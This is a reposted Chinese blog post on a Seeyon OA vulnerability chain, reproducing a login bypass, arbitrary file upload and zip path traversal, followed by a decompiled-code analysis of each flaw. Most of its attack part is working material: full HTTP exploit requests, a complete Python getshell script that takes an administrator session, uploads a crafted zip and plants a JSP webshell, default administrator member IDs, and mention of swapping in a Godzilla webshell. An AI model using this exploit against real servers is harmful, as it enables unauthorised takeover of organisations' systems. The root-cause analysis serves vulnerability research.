致远漏洞(登陆绕过+任意文件上传)

news2024/11/15 21:24:27

漏洞复现

1.获得cookie

POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

在这里插入图片描述
224791DA45D8CCAC687C1D40EB11A1AC
9D5488963545F408D71933161CCCAF53
每次请求都会得到一个cookie值,都可以用,如下:在这里插入图片描述
失败的cookie如下:在这里插入图片描述
2.上传zip文件

POST /seeyon/fileUpload.do?method=processUpload&maxSize= HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1416682316313
Content-Length: 1079

-----------------------------1416682316313
Content-Disposition: form-data; name="type"


-----------------------------1416682316313
Content-Disposition: form-data; name="extensions"


-----------------------------1416682316313
Content-Disposition: form-data; name="applicationCategory"


-----------------------------1416682316313
Content-Disposition: form-data; name="destDirectory"


-----------------------------1416682316313
Content-Disposition: form-data; name="destFilename"


-----------------------------1416682316313
Content-Disposition: form-data; name="maxSize"


-----------------------------1416682316313
Content-Disposition: form-data; name="isEncrypt"


-----------------------------1416682316313
Content-Disposition: form-data; name="file1"; filename="123.zip"
Content-Type: application/x-zip-compressed

zip文件
-----------------------------1416682316313--

注意这里zip文件直接burp右键paste from file放进去即可
在这里插入图片描述
在这里插入图片描述
这里压缩文件如上

3.解压压缩文件

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]


在这里插入图片描述
可以看到报错找不到指定文件,是因为我们压缩包中没有带layout.xml,其必须存在否则在利用解压漏洞时会解压失败空内容即可

注意上传目录:在这里插入图片描述
然后我重新生成zip文件在这里插入图片描述
再次解压,在这里插入图片描述
但是访问不到,应该这里有问题
在这里插入图片描述
在这里插入图片描述
因为解压出来的目录都为空,直接用下面脚本吧

这里利用脚本来进行攻击利用
223.py

# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile


la = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
           'Content-Type': 'application/x-www-form-urlencoded'}

def generate_random_str(randomlength=16):
  random_str = ''
  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1

def file_zip():
    shell = 'test'   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr('layout.xml', "")
    zf.writestr(webshell_name2, shell)


def Seeyon_Getshell(urllist):

    url = urllist+'/seeyon/thirdpartyController.do'
    post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
    response = requests.post(url=url, data=post, headers=la)
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookie = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookie)
        jsessionid = cookies['JSESSIONID']
        file_zip()
        print( '获取cookie成功---->> '+jsessionid)
        fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
        headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}
        post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0',
                'isEncrypt': "0"}
        file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
        filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
        time.sleep(2)
    else:
        print('获取cookie失败')
        exit()
    if filego.text:
        fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)
        fileid = fileid1[0]
        if len(fileid1) == 0:
            print('未获取到文件id可能上传失败!')
        print('上传成功文件id为---->>:'+fileid)
        Date_time = time.strftime('%Y-%m-%d')
        headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
        getshellurl = urllist+'/seeyon/ajax.do'
        data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
        getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
        time.sleep(1)
        webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
        shelllist = requests.get(url=webshellurl1)
        if shelllist.status_code == 200:
            print('利用成功webshell地址:'+webshellurl1)
        else:
            print('未找到webshell利用失败')



def main():
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        Seeyon_Getshell(url)
    else:
        print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")

if __name__ == '__main__':
    main()

python.exe 223.py http://192.168.1.2
在这里插入图片描述
在这里插入图片描述
然后我们在本地找找文件上传目录在这里插入图片描述
因为脚本中加了…/,所以就在pageLayout根目录,如果不加…/会在2853431203184658860文件夹下面,
在这里插入图片描述
可以看到layout只需要有这个文件就行,0kb就行,所以我们上面手动的操作没问题,但是不知道哪有问题

我们改掉shell内容,为哥斯拉jsp在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到漏洞利用成功

漏洞原理

任意账户登录分析

首先搜索thirdpartyController.do接口
在这里插入图片描述
然后找到ThirdpartyController类路径
在这里插入图片描述
可以根据路由接口找到对应配置文件中类文件的映射找到类路径
在这里插入图片描述
根据exp知道调用了access方法

@NeedlessCheckLogin
public ModelAndView access(HttpServletRequest request, HttpServletResponse response) throws Exception {
   long time1 = System.currentTimeMillis();
   ModelAndView mv = new ModelAndView("thirdparty/thirdpartyAccess");
   Locale locale = LocaleContext.make4Frontpage(request);
   HttpSession session = request.getSession();
   String openFrom = request.getParameter("from");
   Long loginTime = System.currentTimeMillis();
   String enc = null;
   if (request.getParameter("enc") != null) {
      enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
   } else {
      String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
      enc = request.getQueryString().indexOf("enc=") > 0 ? LightWeightEncoder.decodeString(transcode) : null;
   }

   if (enc == null) {
      mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
      return mv;
   } else {
      Map<String, String> encMap = new HashMap();
      String[] enc0 = enc.split("[&]");
      String[] link = enc0;
      int var14 = enc0.length;

      String path;
      String startTimeStr;
      for(int var15 = 0; var15 < var14; ++var15) {
         String enc1 = link[var15];
         String[] enc2 = enc1.split("[=]");
         if (enc2 != null) {
            path = enc2[0];
            startTimeStr = enc2.length == 2 ? enc2[1] : null;
            if (null != startTimeStr) {
               startTimeStr = URLEncoder.encode(startTimeStr);
               startTimeStr = startTimeStr.replaceAll("%3F", "");
               startTimeStr = URLDecoder.decode(startTimeStr);
            }

            encMap.put(path, startTimeStr);
         }
      }

      link = null;
      long memberId = -1L;
      Constants.login_useragent_from userAgentFrom = login_useragent_from.pc;
      String linkType = (String)encMap.get("L");
      path = (String)encMap.get("P");
      Long timeStamp;
      String link;
      if (Strings.isNotBlank(linkType)) {
         startTimeStr = "0";
         if (encMap.containsKey("T")) {
            startTimeStr = (String)encMap.get("T");
            startTimeStr = startTimeStr.trim();
         }

         timeStamp = 0L;
         if (NumberUtils.isNumber(startTimeStr)) {
            timeStamp = Long.parseLong(startTimeStr);
         }

         if (!"ucpc".equals(openFrom) && (System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
            mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
            return mv;
         }

         String _memberId = (String)encMap.get("M");
         if (_memberId == null) {
            mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
            return mv;
         }

         memberId = Long.parseLong(_memberId);
         link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
         if (link == null) {
            mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
            return mv;
         }

         String[] linkParams = request.getParameterValues("P");
         MessageFormat formatter = new MessageFormat(link);
         int formatsCount = formatter.getFormats().length;
         if (linkParams != null) {
            if (formatsCount > linkParams.length) {
               String[] params = new String[formatsCount];

               for(int i = 0; i < params.length; ++i) {
                  if (i < linkParams.length) {
                     params[i] = linkParams[i];
                  } else {
                     params[i] = "";
                  }
               }

               link = formatter.format(params);
            } else {
               link = formatter.format(linkParams);
            }
         } else {
            linkParams = new String[formatsCount];

            for(int i = 0; i < linkParams.length; ++i) {
               linkParams[i] = "";
            }

            link = formatter.format(linkParams);
         }
      } else {
         if (!Strings.isNotBlank(path)) {
            mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
            return mv;
         }

         link = URLDecoder.decode(path);
         startTimeStr = (String)encMap.get("C");
         timeStamp = null;
         SSOTicketManager.TicketInfo ticketInfo = SSOTicketBean.getTicketInfoByticketOrname(startTimeStr);
         if (ticketInfo == null) {
            startTimeStr = startTimeStr.replaceAll(" ", "+");
            ticketInfo = SSOTicketBean.getTicketInfoByticketOrname(startTimeStr);
         }

         loginTime = ticketInfo.getCreateDate().getTime();
         if ("weixin".equals(ticketInfo.getFrom())) {
            userAgentFrom = login_useragent_from.weixin;
         }

         if (ticketInfo != null) {
            memberId = ticketInfo.getMemberId();
         }
      }

      if (memberId == -1L) {
         mv.addObject("ExceptionKey", "mail.read.alert.noUser");
         return mv;
      } else {
         boolean isNeedLogout = false;
         long time2 = System.currentTimeMillis();
         log.info("Param耗时" + (time2 - time1) + "MS");
         User currentUser = (User)session.getAttribute("com.seeyon.current_user");
         if (currentUser != null) {
            if (currentUser.getId() != memberId) {
               mv.addObject("ExceptionKey", "mail.read.alert.exists");
               return mv;
            }
         } else {
            V3xOrgMember member = this.orgManager.getMemberById(memberId);
            if (member == null) {
               mv.addObject("ExceptionKey", "mail.read.alert.noUser");
               return mv;
            }

            LocaleContext.setLocale(session, this.orgManagerDirect.getMemberLocaleById(member.getId()));
            currentUser = new User();
            currentUser.setLoginTimestamp(loginTime);
            session.setAttribute("com.seeyon.current_user", currentUser);
            AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", currentUser);
            AppContext.initSystemEnvironmentContext(request, response, true);
            currentUser.setSecurityKey(UUIDLong.longUUID());
            currentUser.setId(memberId);
            currentUser.setName(member.getName());
            currentUser.setLoginName(member.getLoginName());
            currentUser.setAccountId(member.getOrgAccountId());
            currentUser.setLoginAccount(member.getOrgAccountId());
            currentUser.setDepartmentId(member.getOrgDepartmentId());
            currentUser.setLevelId(member.getOrgLevelId());
            currentUser.setPostId(member.getOrgPostId());
            currentUser.setInternal(member.getIsInternal());
            currentUser.setUserAgentFrom(userAgentFrom.name());
            currentUser.setSessionId(session.getId());
            currentUser.setRemoteAddr(Strings.getRemoteAddr(request));
            currentUser.setLocale(locale);
            BrowserEnum browser = BrowserEnum.valueOf(request);
            if (browser == null) {
               browser = BrowserEnum.IE;
            }

            currentUser.setBrowser(browser);
            UserHelper.setResourceJsonStr(JSONUtil.toJSONString(this.privilegeMenuManager.getResourceCode(currentUser.getId(), currentUser.getLoginAccount())));
            CurrentUser.set(currentUser);
            isNeedLogout = true;
         }

         long time3 = System.currentTimeMillis();
         log.info("User耗时" + (time3 - time2) + "MS");
         if (Strings.isNotBlank(linkType)) {
            Integer paramIndex = (Integer)VlinkeParamMap.get(linkType);
            String[] linkParams = request.getParameterValues("P");
            if (paramIndex != null && linkParams.length > paramIndex) {
               String paramValue = linkParams[paramIndex];
               if (Strings.isNotBlank(paramValue)) {
                  String vlink = SecurityHelper.func_digest(paramValue);
                  int _index = link.indexOf("&v=");
                  if (Strings.isNotBlank(link) && _index > -1) {
                     String beforeLink = link.substring(0, _index);
                     String afterLink = link.substring(_index + 1, link.length());
                     int _indexAfter = afterLink.indexOf("&");
                     if (_indexAfter > -1) {
                        afterLink = afterLink.substring(_indexAfter, afterLink.length());
                        link = beforeLink + "&v=" + vlink + afterLink;
                     } else {
                        link = beforeLink + "&v=" + vlink;
                     }
                  } else {
                     vlink = "&v=" + vlink;
                     link = link + vlink;
                  }
               }
            }
         }

         long time4 = System.currentTimeMillis();
         log.info("Link耗时" + (time4 - time3) + "MS");
         init();
         OnlineUser onlineUser = OnlineRecorder.getOnlineUser(currentUser.getLoginName());
         if (serverType == 2) {
            synchronized(isExceedMaxLoginNumberLock) {
               if (onlineUser == null) {
                  boolean isExceedMaxLoginNumber = OnlineRecorder.isExceedMaxLoginNumberServer();
                  if (isExceedMaxLoginNumber) {
                     mv.addObject("ExceptionKey", "mail.read.alert.ExceedMaxLoginNumber");
                     return mv;
                  }
               }

               this.onlineManager.updateOnlineState(currentUser);
            }
         }

         link = link + (link.contains("?") ? "&" : "?") + "_isModalDialog=true";
         if (link.indexOf("&openFrom") > -1) {
            link = link + "&extFrom=" + (String)Strings.escapeNULL(openFrom, "");
         } else {
            link = link + "&openFrom=" + (String)Strings.escapeNULL(openFrom, "");
         }

         mv.addObject("link", link);
         mv.addObject("isNeedLogout", isNeedLogout);
         long time5 = System.currentTimeMillis();
         log.info("Online耗时" + (time5 - time4) + "MS");
         log.info("All耗时" + (time5 - time1) + "MS");
         return mv;
      }
   }
}

根据exp可以看到参数是enc,这就是致远独特的地方,先选定方法再选定参数在这里插入图片描述
enc参数不为null时候,调用LightWeightEncoder.decodeString方法解码在这里插入图片描述

public static String decodeString(String encodeString) {
   if (encodeString == null) {
      return null;
   } else {
      try {
         encodeString = new String((new Base64()).decode(encodeString.getBytes()));
      } catch (Exception var3) {
         log.warn(var3.getMessage());
      }

      char[] encodeStringCharArray = encodeString.toCharArray();

      for(int i = 0; i < encodeStringCharArray.length; ++i) {
         --encodeStringCharArray[i];
      }

      return new String(encodeStringCharArray);
   }
}

可以看到其功能是对传入的字符串base64解码,然后将解码后的字符串每一个字符向后移动一位
例如传入bcd->base64编码->调用decodeString->abc。

package com.example.zhiyuantools;

import java.util.Base64;

public class decode {
    public static void main(String[] args) {
        String encodedString = "YmNk";
        String decodedString = decodeString(encodedString);
        System.out.println("Decoded string: " + decodedString);
    }

    public static String decodeString(String encodedString) {
        if (encodedString == null) {
            return null;
        } else {
            try {
                byte[] decodedBytes = Base64.getDecoder().decode(encodedString);

                // Modify the decoded bytes if needed
                for (int i = 0; i < decodedBytes.length; ++i) {
                    --decodedBytes[i];
                }

                String decodedString = new String(decodedBytes);

                // Perform any additional processing if needed

                return decodedString;
            } catch (Exception e) {
                // Handle the exception gracefully
                e.printStackTrace();
                return null; // or handle it in a different way based on your requirement
            }
        }
    }
}

在这里插入图片描述
解码后继续往下看
在这里插入图片描述
这段将解码后的字符串分割,首先是将enc的值通过&分割成一个字符串列表,然后再进行遍历,再根据=再次分割字符串,将=前的值作为key放入encMap中,=后面的作为key的值 。如test=1&test2=2&test3=3,就会被拆成{“test”: 1,“test2”: 2, “test3”: 3}。在这里插入图片描述
上面这段代码是从encMap中根据键L、P、T、M拿到对应的值分别赋值给linkType、path、startTimeStr、_memberId。在这里插入图片描述
重点是要走到String _memberId = (String)encMap.get(“M”);那么我们就不能让

if (!"ucpc".equals(openFrom) && (System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
   mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
   return mv;
}

这部分返回,这里判断是openFrom等于ucpc,openFrom来自于from参数(那么我们exp数据包中没有传入form参数,那么第一个条件为1),另一个条件是当前时间是否大于了指定的时间,如果大于就返回mv走不到我们后面,timeStamp可控制,那么我们传入一个timeStamp很大和System.currentTimeMillis()一样的值,那么条件不成立走到我们需要的String _memberId = (String)encMap.get(“M”);这里。
接下来继续走在这里插入图片描述
这里link也很关键,如果为null也会直接返回,所以必须从linkType中获得值,那么我们看看getMessageLinkType方法在这里插入图片描述
跟入在这里插入图片描述
在这里插入图片描述
那么接下来看看哪里put传入了这个类型在这里插入图片描述
可以看到这里加载了/base/message-link.properties配置文件,然后传入值到messageLinkTypes在这里插入图片描述
随便挑一个给linkType赋值就可以绕过最后一个条件link不为null。
继续往下走,最关键的一步在这里插入图片描述
这段代码通过我们拿到的memberId作为参数调用了this.orgManager.getMemberById,这个方法大致就是通过memberId查找对应的用户,从别的师傅文章中得知,致远中存在几个默认的用户

"5725175934914479521"   "集团管理员"
"-7273032013234748168"  "系统管理员"
"-7273032013234748798"  "系统监控"
"-4401606663639775639"  "审计管理员"

我们只需要通过以上memberId就能查询出管理员用户信息,在391行,用新创建的User对象重新设置了session,并且将查询出来的用户信息设置到了currentUser对象中,这才导致了任意用户登录漏洞。

问题点:
但是最后发现我用https://fanygit.github.io/2023/04/27/%E8%87%B4%E8%BF%9COA%20A8-V5%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/参考文章的生成jsession发现不行,如下:在这里插入图片描述
在这里插入图片描述
加clientPath试试也不行,如下在这里插入图片描述
在这里插入图片描述
后面我将T改成我自己poc那个大小在这里插入图片描述
再次试验
在这里插入图片描述
在这里插入图片描述
成功,也就是作者给出的poc有问题,T没有绕过,我们这里增大T成功了

文件上传漏洞原理

在这里插入图片描述
根据配置文件找到对应类,找poc中用到的方法在这里插入图片描述
在这里插入图片描述
可以看到uploadFiles方法是三个参数,那么找方法
在这里插入图片描述
在这里插入图片描述
找到方法位置,代码如下:

private Map<String, V3XFile> uploadFiles(HttpServletRequest request, String allowExtensions, Map<String, File> destFiles, String destDirectory, Long maxSize) throws BusinessException {
   String allowExt = allowExtensions;
   User user = AppContext.getCurrentUser();
   if (user == null) {
      return null;
   } else if (!(request instanceof MultipartHttpServletRequest)) {
      throw new IllegalArgumentException("Argument request must be an instantce of MultipartHttpServletRequest. [" + request.getClass() + "]");
   } else {
      Date createDate = new Date();
      String dir;
      if (StringUtils.isNotBlank(destDirectory)) {
         dir = FilenameUtils.separatorsToSystem(destDirectory);
      } else {
         String ucFlag = request.getParameter("ucFlag");
         if ("yes".equals(ucFlag)) {
            dir = this.partitionManager.getFolderForUC(createDate, true);
         } else {
            dir = this.getFolder(createDate, true);
         }
      }

      MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
      Object maxUploadSizeExceeded = multipartRequest.getAttribute("MaxUploadSizeExceeded");
      if (maxUploadSizeExceeded != null) {
         if (maxSize != null && maxSize != 0L) {
            throw new BusinessException("fileupload.exception.MaxSize", new Object[]{Strings.formatFileSize(maxSize, false)});
         } else {
            throw new BusinessException("fileupload.exception.MaxSize", new Object[]{maxUploadSizeExceeded});
         }
      } else {
         Object ex = multipartRequest.getAttribute("unknownException");
         if (ex != null) {
            throw new BusinessException("fileupload.exception.unknown", new Object[]{ex});
         } else {
            Map<String, V3XFile> v3xFiles = new HashMap();
            Iterator<String> fileNames = multipartRequest.getFileNames();
            if (fileNames == null) {
               return null;
            } else {
               String isEncrypt = request.getParameter("isEncrypt");

               while(true) {
                  Object name;
                  do {
                     do {
                        if (!fileNames.hasNext()) {
                           return v3xFiles;
                        }

                        name = fileNames.next();
                     } while(name == null);
                  } while("".equals(name));

                  String fieldName = String.valueOf(name);
                  List<MultipartFile> fileItemList = multipartRequest.getFiles(String.valueOf(name));

                  for(int fileIndex = 0; fileIndex < fileItemList.size(); ++fileIndex) {
                     MultipartFile fileItem = (MultipartFile)fileItemList.get(fileIndex);
                     if (fileItem != null) {
                        if (maxSize != null && fileItem.getSize() > maxSize) {
                           throw new BusinessException("fileupload.exception.MaxSize", new Object[]{Strings.formatFileSize(maxSize, false)});
                        }

                        String filename = fileItem.getOriginalFilename().replace(' ', ' ').replace('?', ' ');
                        String suffix = FilenameUtils.getExtension(filename).toLowerCase();
                        if (!StringUtils.isEmpty(allowExt) && !StringUtils.isEmpty(suffix)) {
                           allowExt = allowExt.replace(',', '|');
                           if (!Pattern.matches(allowExt.toLowerCase(), suffix)) {
                              throw new BusinessException("fileupload.exception.UnallowedExtension", new Object[]{allowExt});
                           }
                        }

                        FileItem fi = new FileItemImpl(fileItem);
                        FileUploadEvent event = new FileUploadEvent(this, fi);

                        try {
                           EventDispatcher.fireEventWithException(event);
                        } catch (Throwable var30) {
                           if (var30 instanceof BusinessException) {
                              throw (BusinessException)var30;
                           }

                           throw new BusinessException(var30.getLocalizedMessage(), var30);
                        }

                        if (fi.getMessages().size() > 0) {
                           request.setAttribute("upload.event.message", fi.getMessages());
                        }

                        long fileId = UUIDLong.longUUID();
                        File destFile = null;

                        try {
                           if (destFiles != null && destFiles.get(fieldName) != null) {
                              destFile = (File)destFiles.get(fieldName);
                              destFile.getParentFile().mkdirs();
                           } else {
                              destFile = new File(dir + File.separator + fileId);
                           }

                           String encryptVersion = null;
                           encryptVersion = CoderFactory.getInstance().getEncryptVersion();
                           if (encryptVersion != null && !"no".equals(encryptVersion) && !"false".equals(isEncrypt)) {
                              BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(destFile));
                              CoderFactory.getInstance().upload(fi.getInputStream(), bos, encryptVersion);
                           } else {
                              fi.saveAs(destFile);
                           }
                        } catch (Exception var31) {
                           throw new BusinessException("附件存盘时发生错误", var31);
                        }

                        V3XFile file = new V3XFile(fileId);
                        file.setCreateDate(createDate);
                        file.setFilename(filename);
                        file.setSize(fi.getSize());
                        file.setMimeType(fi.getContentType());
                        file.setType(Constants.ATTACHMENT_TYPE.FILE.ordinal());
                        file.setCreateMember(user.getId());
                        file.setAccountId(user.getAccountId());
                        String newKeyName = fieldName + "_" + (fileIndex + 1);
                        v3xFiles.put(newKeyName, file);
                     }
                  }
               }
            }
         }
      }
   }
}

代码太长了,分开来看

File destFile = null;
try {
    if (destFiles != null && destFiles.get(fieldName) != null) {
        destFile = (File)destFiles.get(fieldName);
        destFile.getParentFile().mkdirs();
    } else {
        destFile = new File(dir + File.separator + fileId);
    }
    // ...
} catch (Exception var31) {
    throw new BusinessException("附件存盘时发生错误", var31);
}

在文件保存时,如果destFiles中已经存在对应的文件,则会直接使用,但没有对其进行安全验证。此外,即使创建了新的File对象,也没有对文件路径进行安全验证和清理,可能导致路径遍历漏洞。

String newKeyName = fieldName + "_" + (fileIndex + 1);
v3xFiles.put(newKeyName, file);

在构造newKeyName时使用了原始的fieldName,但没有对其进行安全验证和清理,可能导致键名中包含特殊字符或路径遍历漏洞。

文件最大值maxSize属性,我们可以自行修改
没有检测文件内容和文件名,只对空格做了普通空格转换,对问号进行过滤,因此直接任意文件上传+目录遍历

解压压缩文件漏洞原理

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]


根据managerName为portalDesignerManager,全局搜索
必须是有portalDesignerManager类才行,A8+/V7.0SP1版本没有这个类,所以没有这个漏洞,在seeyon-ctp-portal.jar在这里插入图片描述
方法为uploadPageLayoutAttachment传递的参数为[0,“2024-02-23”,“-8399929361113331102”]

attchmentIdStr=0
createDate=2024-02-23
fileUrl=-8399929361113331102

在这里插入图片描述
rootPath为上传时产生的文件夹。(日期命名 年-月-日),fileUrl为上传时返回的 fileid,后面直接使用ZipUtil进行解压,解压后的路径是common/designer/pageLayout+一层uuid。这里可以尝试跨目录。

参考文章:
https://www.adminxe.com/2479.html
https://blog.csdn.net/weixin_43227251/article/details/115616761
https://www.adminxe.com/2479.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1915494.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux系统之lscpu命令的基本使用

Linux系统之lscpu命令的基本使用 一、lscpu命令介绍二、lscpu命令的使用帮助2.1 命令格式2.2 命令选项2.3 使用帮助 三、lscpu命令的基本使用3.1 查看lscpu版本3.2 直接使用lspcu命令3.3 可解析的格式打印cpu信息3.4 可扩展格式打印cpu信息 四、lscpu命令使用注意事项 一、lscp…

【分布式系统】Ceph块存储系统之RBD接口

目录 一.服务端操作 1.创建一个名为 rbd-xy101 的专门用于 RBD 的存储池 2.将存储池转换为 RBD 模式 3.初始化存储池 4.创建镜像 5.管理镜像 6.Linux客户端使用 6.1.在管理节点创建并授权一个用户可访问指定的 RBD 存储池 6.2.修改RBD镜像特性&#xff0c;CentOS7默认…

【进阶篇-Day7:JAVA中Date、LocalDate等时间API的介绍】

目录 1、概述2、JDK8(-) 时间类2.1 Date类&#xff1a;&#xff08;1&#xff09;构造方法&#xff1a;&#xff08;2&#xff09;常用成员方法&#xff1a; 2.2 SimpleDateFormat类&#xff1a;2.3 总结&#xff1a;2.4 Calendar类介绍&#xff1a; 3、JDK8() 时间类3.1 日历类…

【计算机毕业设计】基于Springboot的足球青训俱乐部管理系统【源码+lw+部署文档】

包含论文源码的压缩包较大&#xff0c;请私信或者加我的绿色小软件获取 免责声明&#xff1a;资料部分来源于合法的互联网渠道收集和整理&#xff0c;部分自己学习积累成果&#xff0c;供大家学习参考与交流。收取的费用仅用于收集和整理资料耗费时间的酬劳。 本人尊重原创作者…

蚁剑编码器编写——php木马免杀

蚁剑编码器编写——php木马免杀 我的想法是 木马要先免杀&#xff0c;能够落地&#xff0c;再去考虑流量层面的问题 举几个例子演示一下 命令执行与代码执行是有比较大的区别&#xff0c;蚁剑执行的是php代码&#xff0c;而system&#xff0c;proc_open,passthru,exec,shell_…

CSS学习碎碎念之卡片展示

效果展示&#xff1a; 代码展示 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>图片展示</title…

【Spring成神之路】老兄,来一杯Spring AOP源码吗?

文章目录 一、引言二、Spring AOP的使用三、Spring AOP的组件3.1 Pointcut源码3.2 Advice源码3.3 Advisor源码3.4 Aspect源码 四、Spring AOP源码刨析4.1 configureAutoProxyCreator源码解析4.2 parsePointcut源码解析4.3 parseAdvisor源码解析4.4 parseAspect源码解析4.5 小总…

【题目/算法训练】:单调队列单调栈

&#x1f680; 前言&#xff1a; 【算法】单调队列&&单调栈 可以在看完这篇文章后&#xff0c;再来写下面的题目 一、绝对差不超过限制的最长连续子数组 思路&#xff1a; 1&#xff09; 就相当于滑动窗口&#xff0c;维护滑动窗口内的两个值&#xff0c;一个是最大值…

溶解氧(DO)理论指南(3)

转载自梅特勒官网资料&#xff0c;仅用于学习交流&#xff0c;侵权则删&#xff01; 溶解氧理论指南 设备操作3.1 DO电极准备3.2 DO电极校准3.3 进行DO测量3.4 转换单位3.5 维护和储存 设备操作 本章总结了 DO电极日常使用的一些建议。它们基于普遍接受的操作规则。 3.1 DO电…

【数据结构——链表的深度探索】从实现到应用,保姆级攻略

【数据结构——链表深度探索】从实现到应用&#xff0c;保姆级攻略 &#x1f341;1. 链表的介绍&#x1f341;2. 链表的实现&#x1f341;2.1 单向链表&#x1f341;2.1.1 size()&#x1f341;2.1.2 display()&#x1f341;2.1.3 contains(int key)&#x1f341;2.1.4 addFirst…

本地部署,强大的面部修复与增强网络CodeFormer

目录 什么是 CodeFormer&#xff1f; 技术原理 主要功能 应用场景 本地部署 运行结果 结语 Tip&#xff1a; 在图像处理和计算机视觉领域&#xff0c;面部修复和增强一直是一个备受关注的研究方向。近年来&#xff0c;深度学习技术的飞速发展为这一领域带来了诸多突破性…

C++ 语法习题(3)

